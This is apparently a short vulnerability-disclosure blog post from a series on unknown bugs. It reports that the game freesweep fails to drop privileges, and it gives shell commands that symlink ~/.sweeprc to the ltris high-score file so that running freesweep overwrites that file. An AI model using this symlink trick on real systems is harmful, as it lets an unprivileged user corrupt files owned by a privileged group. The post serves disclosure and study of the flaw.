InfoSect's Month of Pointless Bugs (#5)

Dr Silvio Cesare

InfoSect, Canberra's hackerspace, regularly runs public group sessions to perform code review and vulnerability discovery. Over the next 30 days, I'll highlight the source code of 30 unknown vulnerabilities.

Bug #5

The game freesweep doesn't drop privs. Yet it accesses files for writing. The following is an example of corrupting the ltris high scores via following a symbolic link in freesweep.

$ ls -la /var/games/ltris.hscr -rw-rw-r-- 1 root games 0 Jan 20 15:41 /var/games/ltris.hscr $ cd ~ $ ln -s /var/games/ltris.hscr .sweeprc $ /usr/games/freesweep -s ... $ ls -la /var/games/ltris.hscr -rw-rw-r-- 1 root games 158 Jan 20 15:41 /var/games/ltris.hscr

Note that the ltris.hscr file size has changed as it has been overwritten with the contents that were destined to ~/.sweeprc.


Popular posts from this blog

Linux Kernel Infoleaks

Memory Bugs in Multiple Linux Kernel Drivers using DebugFS

ASUS DSL-AC3100 Router Firmware radvd Bugs